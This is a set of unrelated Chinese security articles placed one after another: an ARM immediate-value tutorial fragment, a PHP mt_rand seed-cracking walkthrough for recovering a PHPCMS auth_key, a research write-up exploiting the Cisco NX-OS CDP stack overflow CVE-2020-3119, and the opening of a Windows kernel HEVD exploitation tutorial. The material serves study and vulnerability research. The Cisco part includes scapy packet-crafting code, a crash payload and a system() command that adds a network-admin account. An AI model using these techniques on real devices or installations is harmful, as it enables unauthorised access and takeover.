看上去这样并不能一次性加载所有的32位值。不过我们可以通过以下的两个选项来解决这个问题：
用小部分去组成更大的值。
比如对于指令 MOV r0, #511
将511分成两部分：MOV r0, #256, and ADD r0, #255
用加载指令构造‘ldr r1,=value’的形式，编译器会帮你转换成MOV的形式，如果失败的话就转换成从数据段中通过PC相对偏移加载。
LDR r1, =511
如果你尝试加载一个非法的值，编译器会报错并且告诉你 invalid
constant。如果在遇到这个问题，你现在应该知道该怎么解决了吧。唉还是举个栗子，就比如你想把511加载到R0。
.section .text
.global _start
_start:
mov r0, #511
bkpt
这样做的结果就是编译报错:
azeria@labs:~$ as test.s -o test.o
test.s: Assembler messages:
test.s:5: Error: invalid constant (1ff) after fixup
你需要将511分成多部分，或者直接用LDR指令。
.section .text
.global _start
_start:
mov r0, #256 /* 1 ror 24 = 256, so it's valid */
add r0, #255 /* 255 ror 0 = 255, valid. r0 = 256 + 255 = 511 */
ldr r1, =511 /* load 511 from the literal pool using LDR */
bkpt
如果你想知道你能用的立即数的有效值，你不需要自己计算。我这有个小脚本，看你骨骼惊奇，传给你呦
[rotator.py](https://raw.githubusercontent.com/azeria-labs/rotator/master/rotator.py)。用法如下。
azeria@labs:~$ python rotator.py
Enter the value you want to check: 511
Sorry, 511 cannot be used as an immediate number and has to be split.
azeria@labs:~$ python rotator.py
Enter the value you want to check: 256
The number 256 can be used as a valid immediate number.
1 ror 24 --> 256
**译者注：这作者真的是用心良苦，我都看累了，但是怎么说，反复练习加实践，总归是有好处的。**
**
**
****
传送门
[【系列分享】ARM
汇编基础速成1：ARM汇编以及汇编语言基础介绍](http://bobao.360.cn/learning/detail/4070.html)
**[【系列分享】ARM
汇编基础速成2：ARM汇编中的数据类型](http://bobao.360.cn/learning/detail/4075.html)**
[**【系列分享】ARM
汇编基础速成3：ARM模式与THUMB模式**](http://bobao.360.cn/learning/detail/4082.html)
**
** | 社区文章 |
# PHP mt_rand 伪随机数安全探讨
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概念
php中 mt_rand 函数可用于生成伪随机数，但是伪随机数是可被预测的。
mt_rand 是通过撒播随机数种子来生成随机数的，随机数种子范围是 unsigned int，即 0 – 4294967295。
mt_rand 生产的随机数在同一个句柄中，只播撒一次种子，之后生成的随机数都使用同一个种子进行生成。
所以说只要爆破到了正确的种子，即可预测生产的随机数。
种子相同、PHP版本（确切的说是PHP内核中
mt_rand的代码逻辑）相同，生成的随机数都是一样的。理论上来说只要拿到了生成的随机数，我们就可以在本地进行种子的爆破。
备注：本次实验使用的PHP版本为 PHP-5.6
## mt_rand源码翻阅
关于只撒播一次种子这一点我们可以看下 PHP 关于 mt_rand 的源码：
github：<https://github.com/php/php-src>
mt_rand 的源码在 /ext/standard/rand.c 中：
看到一个很明显的调用 `php_mt_srand` 函数的代码段。先判断了 `BG(mt_rand_is_seeded)` 再调用
php_mt_srand函数。
直接从字面意义上看，`mt_rand_is_seeded` 似乎就是一个标志位，用于判断是否已经播过种。而 `php_mt_srand` 似乎就是
php的播种函数 `mt_srand`。
## 只播一次种
验证一下，首先，我们看看BG函数是个什么东西：
找BG函数的直接跳转跳转不过去的话，就直接看 `rand.c` 文件中引入了什么文件：
引入了4个自定义的头文件，我们再分别去这四个文件中进行搜索关键字 `BG`。最终在 `basic_functions.h` 中找到 `BG`。`BG`
是一个宏定义：
宏定义简单理解就是把 **传入的参数值** 与 **参数名** 进行 **替换** 并返回， `mt_rand` 调用 `BG` 的时候是这样写的：
传入的参数值就是 `mt_rand_is_seeded`，在宏定义 `BG` 中就变成了
宏定义代码：
#define BG(v) (basic_globals.v)
调用BG：
BG(mt_rand_is_seeded)
那么在宏定义代码中，v 就变成了 mt_rand_is_seeded，宏定义将返回：
basic_globals.mt_rand_is_seeded
而下面一行是引用在外处的 `php_basic_globals` 类型的变量 `basic_globals`，`basic_globals`
具体在哪个源文件我们可以不用管。我们只需要知道`php_basic_globals` 类型 是一个结构体。结构体就像一个数组，获取结构体中的元素可以使用
“.” 来获取对应名称元素的值。
宏定义最终替换成了 `basic_globals.mt_rand_is_seeded` 并返回。
意思是获取 `php_basic_globals` 类型的 `basic_globals` 中 `mt_rand_is_seeded` 元素 的值并返回。
而 `mt_rand_is_seeded` 在 结构体 `php_basic_globals` 有这么一段注释：
Whether mt_rand() has been seeded #mt_rand 是否已经进行播过种
`zend_bool` 类型就是一个普通的 `Char` 类型：
ps：在sublime 中鼠标放在代码上面，如果可以跳转的话会列出可跳转的文件哦。
这样就知道 `BG宏定义` 的作用了：
用来返回在 `php_basic_globals` 类型结构体变量 `basic_globals` 中指定的元素值。
而 `BG(mt_rand_is_seeded)`，返回的是 `mt_rand` 是否已经播过种。如果没有播种，才会调用 `php_mt_srand`
我们继续简单看下 php_mt_srand 的逻辑。
前两行代码猜测就是用来播种的，播完种后，将会将 mt_rand_is_seeded 的值设置为 1
由此可以准确下结论： **mt_rand 只播种一次** 。
## PHP cli 中进行 mt_rand 种子爆破
说到PHP mt_rand 种子爆破，就不得不提到专门进行这项工作的神器 php_mt_seed，速度极快。
下载地址：<https://www.openwall.com/php_mt_seed/>
写个测试的PHP文件：
<?php
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
?>
使用php cli 运行：
取第一个随机数 2114192623。使用 php_mt_seed 进行爆破：
进行手动播种测试：
生成的随机数与第一次生成的一样。说明爆破到了正确的种子。
## Web服务器 与 PHP
为什么 PHP使用Web服务器运行 和 PHP cli运行 要分开两个标题呢。不是一样的原理嘛？获取到第一个随机数值进行爆破？
原理是一样的，只不过这里有一个坑。。。。
### PHP进程
当PHP运行在Web服务器上时，服务器与PHP之间是通过进程来进行通信。除了服务器使用
`CGI模式`（每次请求都调用php.exe、解析php.ini）运行PHP。其他方式如`Fast-cgi` 或 `mod_php` 方式，都会创建一个类似
**连接池** 一样的东西，提高效率。
连接池的存在相当于 **反复利用同一个**
PHP进程。如果请求量稍微大一点的话，或者说是我们自己请求多了一两次。这样同一个PHP进程就会被反复调用好几次。而 mt_rand
在同一个进程中只播一次种。这种情况下我们就无法拿到第一次请求时的 mt_rand 随机数值，便无法正确爆破种子。
可以使用 PHP 内置函数 `getmypid` 获取到当前PHP进程id，从而判断服务器调用的 PHP进程 是新进程还是旧进程
代码：
<?php
echo getmypid();
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
?>
重启 apache 服务器（为了把之前可能开的 PHP 进程弄没），再去访问
可以看到第二次访问和第四次访问 pid 都相同。取 pid 1031 中产生的第一个 mt_rand 随机数进行种子爆破：
得到种子之后手动播种验证：
<?php
echo getmypid();
mt_srand(2828230886);
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
//两次请求调用同样pid的PHP进程
//其中 第二次请求生成的随机数
//应是 顺着 第一次请求的随机数继续生成
//而非重新播种
echo '================';
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
?>
正因这样的神奇之处，我们进行随机数种子爆破时，如果运气不好没有取到第一次调用 PHP进程生成的 mt_rand 随机数，那就无法正确爆破出正确的种子。
## PHPCMS auth_key
PHPCMS在9.6.2以及之后修复了由于 `mt_rand` 而导致的 `auth_key` 可爆破。
下一个 9.6.1的进行简单的审计。github：<https://github.com/forget-code/phpcms>
先重启一下apache回收掉PHP进程
PHPCMS生成 `auth_key` 的逻辑在 `/install/install.php`
中。前面的逻辑都很简单就不一一带入。有兴趣的可自行下载看看。这里讨论生成以及爆破 `auth_key` 的过程
PHPCMS 调用自写的 `random` 函数生成 `cookie_pre` 和 `auth_key`
$cookie_pre = random(5, 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ').'_';
$auth_key = random(20, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');
random 函数逻辑如下：
function random($length, $chars = '0123456789') {
$hash = '';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
//生成 $hash原理是从传入的字符串中随机取下标
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}
`$cookie_pre` 是在PHPCMS安装完后前台能够获取到的。只有五位。
而 `$auth_key` 是 PHPCMS在鉴权的时候需要使用的关键密钥。这段代码中由于采取了 `mt_rand` 来生成随机数下标。我们可以很简单的通过
`cookie_pre` 爆破得到种子，再通过种子推算 `$auth_key` 的值。
把这段关键代码拷出来写一个 `demo.php`。
<?php
function random($length, $chars = '0123456789') {
$hash = '';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];//生成 $hash原理是从传入的字符串中随机取下标
}
return $hash;
}
$cookie_pre = random(5, 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ').'_';
$auth_key = random(20, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');
var_dump($cookie_pre);
var_dump($auth_key);
?>
如果我们想使用 `mt_seed` 进行爆破的话，直接 `./php_mt_seed qoOMZ` 是么得的，我们需要整理成符合 `php_mt_seed`
爆破的格式。
查看 `php_mt_seed` 文档 <https://www.openwall.com/php_mt_seed/README>
发现符合整理 `auth_key` 生成规则的PHP脚本：
<?php
//需要修改成对应PHPCMS cookie_pre传入的字符串，本次案例为 abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ
$allowable_characters = 'abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ23456789';
$len = strlen($allowable_characters) - 1;
//传入PHPCMS生成好的cookie_pre，本次案例为 qoOMZ
$pass = $argv[1];
for ($i = 0; $i < strlen($pass); $i++) {
//获取对应字符在字符串中的位置，也就相当于逆向推出 mt_rand 生成的值
$number = strpos($allowable_characters, $pass[$i]);
//输出php_mt_seed进行种子爆破所需要的格式。
// 0 $len 应该是在爆破破解的时候，作为 mt_rand 的范围参数
echo "$number $number 0 $len ";
}
echo "\n";
?>
生成符合爆破规则的字符串
使用 php_mt_seed 进行爆破：
手动播种，测试是否是正确种子：
种子正确。
### 细节注意：
如果 mt_srand 写在了函数 random 里面的话，将无法获取正确值：
生成 `cookie_pre` 是正确的，但 `auth_key` 是错误的。
这是因为，第二次调用 `random` 时，正常情况下 `mt_rand` 应该顺着第一次调用的随机数种子继续生成。但由于 `mt_srand`
写在了函数中。导致重新播种。
## 总结
`mt_rand` 生成的是伪随机数。所以如果想用在类似 token 或者密钥
之类的地方。想要生成一个不会被猜测到的随机数的话，建议可以与时间戳函数相结合，提高不可预测性。
不过也由于服务器与PHP之间交互的微妙关系，爆破种子的时候如果爆出来的不能用的话，也么的办法了。 | 社区文章 |
**作者：Hcamael@知道创宇404实验室**
**时间：2020年03月19日**
**英文版本：<https://paper.seebug.org/1156/>**
Cisco Discovery Protocol(CDP)协议是用来发现局域网中的Cisco设备的链路层协议。
最近Cisco CDP协议爆了几个漏洞，挑了个栈溢出的CVE-2020-3119先来搞搞，Armis Labs也公开了他们的分析Paper。
# 环境搭建
虽然最近都在搞IoT相关的，但是还是第一次搞这种架构比较复杂的中型设备，大部分时间还是花在折腾环境上。
3119这个CVE影响的是Cisco NX-OS类型的设备，去Cisco的安全中心找了下这个CVE，搜搜受影响的设备。发现受该漏洞影响的设备都挺贵的，也不好买，所以暂时没办法真机测试研究了。随后搜了一下相关设备的固件，需要氪金购买。然后去万能的淘宝搜了下，有代购业务，有的买五六十(亏)，有的卖十几块。
固件到手后，我往常第一想法是解开来，第二想法是跑起来。最开始我想着先把固件解开来，找找cdp的binary，但是在解固件的时候却遇到了坑。
如今这世道，解固件的工具也就binwalk，我也就只知道这一个，也问过朋友，好像也没有其他好用的了。（如果有，求推荐）。
但是binwalk的算法在遇到非常多的压缩包的情况下，非常耗时，反正我在挂那解压了两天，还没解完一半。在解压固件这块折腾了好久，最后还是无果而终。
最后只能先想办法把固件跑起来了，正好知道一个软件可以用来仿真Cisco设备————GNS3。
## GNS3的使用说明
学会了使用GNS3以后，发现这软件真好用。
首先我们需要下载安全GNS3软件，然后还需要下载GNS3 VM。个人电脑上装个GNS3提供了可视化操作的功能，算是总控。GNS3
VM是作为GNS3的服务器，可以在本地用虚拟机跑起来，也可以放远程。GNS3仿真的设备都是在GNS3服务器上运行起来的。
1.首先设置好GNS3 VM
2.创建一个新模板
3.选择交换机 Cisco NX-OSv 9000
在这里我们发现是用qemu来仿真设备的，所以前面下载的时候需要下载qcow2。
随后就是把相应版本的固件导入到GNS3 Server。
导入完成后，就能在交换机一栏中看到刚才新添加的设备。
4.把Cisco设备拖到中央，使用网线直连设备
这里说明一下，Toolbox是我自己添加的一个ubuntu docker模板。最开始我是使用docker和交换机设备的任意一张网卡相连来进行操作测试的。
不过随后我发现，GNS3还提供的了一个功能，也就是图中的Cloud1，它可以代表你宿主机/GNS3 Server中的任意一张网卡。
因为我平常使用的工具都是在Mac中的ubuntu虚拟机里，所以我现在的使用的方法是，让ubuntu虚拟机的一张网卡和Cisco交换机进行直连。
PS：初步研究了下，GNS3能提供如此简单的网络直连，使用的是其自己开发的ubridge，Github上能搜到，目测是通过UDP来转发流量包。
在测试的过程中，我们还可以右击这根直连线，来使用wireshark抓包。
5.启动所有节点
最后就是点击上方工具栏的启动键，来启动你所有的设备，如果不想全部启动，也可以选择单独启动。
# 研究Cisco交换机
不过这个时候网络并没有连通，还需要通过串口连接到交换机进行网络配置。GNS3默认情况下会把设备的串口通过telnet转发出来，我们可以通过GNS3界面右上角看到telnet的ip/端口。
第一次连接到交换机需要进行一次初始化设置，设置好后，可以用你设置的管理员账号密码登陆到Cisco管理shell。
经过研究，发现该设备的结构是，qemu启动了一个bootloader，然后在bootloader的文件系统里面有一个nxos.9.2.3.bin文件，该文件就是该设备的主体固件。启动以后是一个Linux系统，在Linux系统中又启动了一个虚拟机guestshell，还有一个vsh.bin。在该设备中，用vsh替代了我们平常使用Linux时使用的bash。我们telnet连进来后，看到的就是vsh界面。在vsh命令中可以设置开启telnet/ssh，还可以进入Linux
shell。但是进入的是guestshell虚拟机中的Linux系统。
本次研究的cdp程序是无法在虚拟机guestshell中看到的。经过后续研究，发现vsh中存在python命令，而这个python是存在于Cisco宿主机中的nxpython程序。所以可以同python来获取到Cisco宿主机的Linux
shell。然后通过mac地址找到你在GNS3中设置连接的网卡，进行ip地址的设置。
bash
Cisco# python
Python 2.7.11 (default, Feb 26 2018, 03:34:16)
[GCC 4.6.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system("/bin/bash")
bash-4.3$ id
uid=2002(admin) gid=503(network-admin) groups=503(network-admin),504(network-operator)
bash-4.3$ sudo -i
root@Cisco#ifconfig eth8
eth8 Link encap:Ethernet HWaddr 0c:76:e2:d1:ac:07
inet addr:192.168.102.21 Bcast:192.168.102.255 Mask:255.255.255.0
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:82211 errors:61 dropped:28116 overruns:0 frame:61
TX packets:137754 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:6639702 (6.3 MiB) TX bytes:246035115 (234.6 MiB)
root@Cisco#ps aux|grep cdp
root 10296 0.0 0.8 835212 70768 ? Ss Mar18 0:01 /isan/bin/cdpd
root 24861 0.0 0.0 5948 1708 ttyS0 S+ 05:30 0:00 grep cdp
设置好ip后，然后可以在我们mac上的ubuntu虚拟机里面进行网络连通性的测试，正常情况下这个时候网络已经连通了。
之后可以把ubuntu虚拟机上的公钥放到cisoc设备的`/root/.ssh/authorized_keys`，然后就能通过ssh连接到了cisco的bash
shell上面。该设备的Linux系统自带程序挺多的，比如后续调试的要使用的gdbserver。nxpython还装了scapy。
## 使用scapy发送CDP包
接下来我们来研究一下怎么发送cdp包，可以在Armis
Labs发布的分析中看到cdp包格式，同样我们也能开启Cisco设备的cdp，查看Cisco设备发送的cdp包。
Cisco#conf ter
Cisco(config)# cdp enable
# 比如我前面设置直连的上第一个网口
Cisco(config)# interface ethernet 1/7
Cisco(config-if)# no shutdown
Cisco(config-if)# cdp enable
Cisco(config-if)# end
Cisco# show cdp interface ethernet 1/7
Ethernet1/7 is up
CDP enabled on interface
Refresh time is 60 seconds
Hold time is 180 seconds
然后我们就能通过wireshark直接抓网卡的包，或者通过GNS3抓包，来研究CDP协议的格式。
因为我习惯使用python写PoC，所以我开始研究怎么使用python来发送CDP协议包，然后发现scapy内置了一些CDP包相关的内容。
下面给一个简单的示例：
from scapy.contrib import cdp
from scapy.all import Ether, LLC, SNAP
# link layer
l2_packet = Ether(dst="01:00:0c:cc:cc:cc")
# Logical-Link Control
l2_packet /= LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) / SNAP()
# Cisco Discovery Protocol
cdp_v2 = cdp.CDPv2_HDR(vers=2, ttl=180)
deviceid = cdp.CDPMsgDeviceID(val=cmd)
portid = cdp.CDPMsgPortID(iface=b"ens38")
address = cdp.CDPMsgAddr(naddr=1, addr=cdp.CDPAddrRecordIPv4(addr="192.168.1.3"))
cap = cdp.CDPMsgCapabilities(cap=1)
cdp_packet = cdp_v2/deviceid/portid/address/cap
packet = l2_packet / cdp_packet
sendp(packet)
## 触发漏洞
下一步，就是研究怎么触发漏洞。首先，把cdpd从设备中给取出来，然后把二进制丢到ida里找漏洞点。根据Armis
Labs发布的漏洞分析，找到了该漏洞存在于`cdpd_poe_handle_pwr_tlvs`函数，相关的漏洞代码如下：
if ( (signed int)v28 > 0 )
{
v35 = (int *)(a3 + 4);
v9 = 1;
do
{
v37 = v9 - 1;
v41[v9 - 1] = *v35;
*(&v40 + v9) = _byteswap_ulong(*(&v40 + v9));
if ( !sdwrap_hist_event_subtype_check(7536640, 104) )
{
*(_DWORD *)v38 = 104;
snprintf(&s, 0x200u, "pwr_levels_requested[%d] = %d\n", v37, *(&v40 + v9));
sdwrap_hist_event(7536640, strlen(&s) + 5, v38);
}
if ( sdwrap_chk_int_all(104, 0, 0, 0, 0) )
{
v24 = *(&v40 + v9);
buginf_ftrace(1, &sdwrap_dbg_modname, 0, "pwr_levels_requested[%d] = %d\n");
}
snprintf(v38, 0x3FCu, "1111 pwr_levels_requested[%d] = %d\n", v37, *(&v40 + v9), v24);
sdwrap_his_log_event_for_uuid_inst(124, 7536640, 1, 0, strlen(v38) + 1, v38);
*(_DWORD *)(a1 + 4 * v9 + 1240) = *(&v40 + v9);
++v35;
++v9;
}
while ( v9 != v28 + 1 );
}
后续仍然是根据Armis Labs漏洞分析文章中的内容，只要在cdp包中增加Power Request和Power
Level就能触发cdpd程序crash：
power_req = cdp.CDPMsgUnknown19(val="aaaa"+"bbbb"*21)
power_level = cdp.CDPMsgPower(power=16)
cdp_packet = cdp_v2/deviceid/portid/address/cap/power_req/power_level
## 漏洞利用
首先看看二进制程序的保护情况：
$ checksec cdpd_9.2.3
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RPATH: '/isan/lib/convert:/isan/lib:/isanboot/lib'
发现只开启了NX和PIE保护，32位程序。
因为该程序没法进行交互，只能一次性发送完所有payload进行利用，所以没办法泄漏地址。因为是32位程序，cdpd程序每次crash后会自动重启，所以我们能爆破地址。
在编写利用脚本之前需要注意几点：
1.栈溢出在覆盖了返回地址后，后续还会继续覆盖传入函数参数的地址。
*(_DWORD *)(a1 + 4 * v9 + 1240) = *(&v40 + v9);
并且因为在漏洞代码附近有这样的代码，需要向a1地址附近的地址写入值。如果只覆盖返回地址，没法只通过跳转到一个地址达到命令执行的目的。所以我们的payload需要把a1覆盖成一个可写的地址。
2.在`cdpd_poe_handle_pwr_tlvs`函数中，有很多分支都会进入到`cdpd_send_pwr_req_to_poed`函数，而在该函数中有一个`__memcpy_to_buf`函数，这个函数限制了`Power
Requested`的长度在40字节以内。这么短的长度，并不够进行溢出利用。所以我们不能进入到会调用该函数的分支。
v10 = *(_WORD *)(a1 + 1208);
v11 = *(_WORD *)(a1 + 1204);
v12 = *(_DWORD *)(a1 + 1212);
if ( v32 != v10 || v31 != v11 )
我们需要让该条件判断为False，不进入该分支。因此需要构造好覆盖的a1地址的值。
3.我们利用的最终目的不是执行`execve("/bin/bash")`，因为没法进行交互，所以就算执行了这命令也没啥用。那么我们能有什么利用方法呢？第一种，我们可以执行反连shell的代码。第二种，我们可以添加一个管理员账号，比如执行如下命令：
/isan/bin/vsh -c "configure terminal ; username test password qweASD123 role network-admin"
我们可以通过执行`system(cmd)`达到目的。那么接下来的问题是怎么传参呢？经过研究发现，在CDP协议中的`DeviceID`相关的字段内容都储存在堆上，并且该堆地址就储存在栈上，我们可以通过`ret`来调整栈地址。这样就能成功向`system`函数传递任意参数了。
最后放一个演示视频：
**参考链接**
1. <https://go.armis.com/hubfs/White-papers/Armis-CDPwn-WP.pdf>
2. <https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200205-nxos-cdp-rce>
3. <https://software.cisco.com/download/home/286312239/type/282088129/release/9.2(3)?i=!pp>
4. <https://scapy.readthedocs.io/en/latest/api/scapy.contrib.cdp.html>
* * * | 社区文章 |
# 【技术分享】Windows内核利用之旅：熟悉HEVD（附视频演示）
|
##### 译文声明
本文是翻译文章，文章来源：hshrzd.wordpress.com
原文地址：<https://hshrzd.wordpress.com/2017/06/05/starting-with-windows-kernel-exploitation-part-2/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
最近我正开始学习Windows内核利用，因此我决定以博文形式分享一些学习笔记。
之前的一篇文章中，我介绍了如何搭建实验环境。现在，让我们学习一下Ashfaq
Ansari开发的HackSysExtremeVulnerableDriver来熟悉整个实验环境。在接下来的文章中，我计划进一步通过漏洞演示以及利用技术学习来与读者一起探索Windows内核利用之旅。
本文中我们需要准备以下条件：
1、前文介绍的实验环境。
2、HEVD（HackSys Extreme Vulnerable Driver，极其脆弱的HackSys驱动程序）：预编译版本以及源代码。
3、OSR驱动加载器。
4、DebugView（SysInternals工具集中的一员）。
5、Visual Studio 2012（任意版本都可以）。
**二、安装及测试HEVD**
首先来看看如何安装HEVD。我们将对被调试主机（Debugee）以及调试器（Debugger）进行配置，以查看调试字符串以及HEVD的符号链接。我们也会做一些漏洞利用研究。你可以查看如下视频，阅读相关说明：
**2.1 观察调试字符串**
HEVD以及待分析的漏洞会以调试字符串形式打印大量信息。我们可以在调试端（Debugger，使用WinDbg工具）以及被调试端（Debugee，使用DebugView工具）上观察这些信息。
在安装HEVD之前，我们需要对环境进行配置，才能观察驱动初始化过程中打印的字符串信息。
在调试端（Debugger）：
我们需要打断被调试端（Debugger）的执行过程，以便获得kd命令提示符（在WinDbg中，依次选择Debug、Break）。然后，我们通过如下命令开启调试字符串打印功能：
ed nt!Kd_Default_Mask 8
之后，我们使用如下命令恢复被调试端的执行过程。
g
警告：打开这个功能会降低被调试端的运行性能。因此，如果条件允许，尽量在本地观察调试字符串（即只在被调试端上观察调试字符串）。
在被调试端：
我们需要以管理员权限运行DebugView。然后在菜单中依次选择如下选项：Capture->Capture Kernel。
**2.2 安装驱动**
首先，我们需要在被调试端（即受害者主机）上下载预编译包（驱动+利用程序），安装并测试预编译包。我们可以在Github上的HackSysTeam代码仓库中找到预编译包。预编译包中包含两个版本的驱动：存在漏洞的版本以及不存在漏洞的版本。我们选择存在漏洞的32位（i386）版驱动。
在OSR驱动加载器中，我们选择服务启动方式为自启动方式。然后点击“Register Service”，服务注册成功后再点击“Start
Service”开启服务。
此时我们应该可以在调试主机的WinDbg上以及被调试主机的DbgView上看到HEVD的banner信息。
**2.3 添加符号**
HEVD的预编译版本包含了符号（sdb文件）信息，我们可以在调试端中添加这些信息。首先，我们可以向被调试端发送一个中断信号打断其执行流程，然后观察已加载的所有模块：
lm
设置过滤器，查看HEVD模块：
lm m H*
然后我们会发现它并没有附加任何符号，但这个问题很容易解决。首先，为了打印WinDbg在搜索符号时所引用的路径信息，我们可以打开noisy模式：
!sym_noisy
然后尝试重载这些符号：
.reload
接着再试试查找这些符号。此时你就可以发现这些路径信息，我们可以从这些路径中拷贝pdb文件。将pdb文件移动到Debugger主机上的合适位置，然后再次重载符号。我们可以尝试打印HEVD的所有函数来进行测试：
x HEVD!*
读者可以查看视频以了解详细信息。
**2.4 测试漏洞利用**
预编译包中同样包含一系列专用漏洞。我们可以通过合适的命令来运行这些漏洞。让我们试着部署其中一些漏洞，并设置cmd.exe为待执行的程序。
部署内核池溢出（Pool Overflow）漏洞：
如果漏洞利用成功，那么目标程序（cmd.exe）会以管理员权限运行。
我们可以使用“whoami”命令确定目标程序的运行权限：
同时，我们可以在调试端上看到漏洞打印出的调试字符串：
除了“double fetch”这个漏洞之外，所有的漏洞都能在单独一个核心上完美运行。如果我们想要复现“double
fetch”漏洞，需要开启被调试主机的双核功能。
警告：某些漏洞并不能100%被成功复现，系统在复现这些漏洞时可能会崩溃。不要在意这些细节，这种情况是正常的。
**三、来跟驱动打个招呼吧**
与用户环境中的漏洞利用情况类似，内核中的漏洞利用也是从查找关键点开始，利用这些关键点，我们可以为程序提供一个输入数据。然后，我们需要查找能够破坏程序执行过程的输入数据（与用户环境相反，内核中崩溃点会直接导致系统蓝屏！）。最后，我们会尝试控制输入以便控制漏洞程序的执行流程。
为了能够在用户态与驱动通信，我们需要向驱动发送IOCTL（Input Output
controls，输入输出控制码）控制消息。我们可以利用IOCTL从用户态的输入缓冲区向驱动发送某些输入数据。这也是我们尝试进行漏洞利用的出发点。
HEVD包含许多类漏洞样例。每个漏洞样例都可以使用不同的IOCTL触发，然后通过输入缓冲区加以利用。某些（不是全部）漏洞在触发时会导致系统蓝屏。
**3.1 查找设备名以及IOCTL**
在与驱动通信前，我们需要知道以下两点信息：
1、驱动创建的设备（如果驱动没有创建任何设备，我们就无法与它通信）。
2、驱动能接受的IOCTL列表。
HEVD是个开源项目，因此我们可以直接从源代码中阅读所需的所有信息。在现实世界中，大多数情况下我们需要对驱动进行逆向才能获取所需的信息。
让我们来看看HEVD创建设备的那部分代码。
设备名如上图所示。
现在让我们找到设备所能接受的IOCTL列表。我们先来看看与IRP数组有关的那部分代码：
与IRP_MJ_DEVICE_CONTOL绑定的那个函数用来派遣发往驱动的IOCTL。因此，我们需要看一下这个函数的内部代码。
代码中包含一个switch条件分支，会根据具体条件调用处理函数，以正确处理特定的IOCTL。我们可以根据switch的条件分支，构造出我们所需的IOCTL列表。所生成的IOCTL列表位于头文件中：
**3.2 编写客户端程序**
现在我们已经收集了足够多的信息，接下来我们可以使用自己的程序与驱动通信。我们可以将所有信息汇集在一个头文件中，如hevd_constants.h头文件：
#pragma once
#include <windows.h>
const char kDevName[] = "\\.\HackSysExtremeVulnerableDriver";
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_POOL_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_USE_UAF_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x805, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x806, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x807, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_TYPE_CONFUSION CTL_CODE(FILE_DEVICE_UNKNOWN, 0x808, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x809, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80B, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80C, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_DOUBLE_FETCH CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80D, METHOD_NEITHER, FILE_ANY_ACCESS)
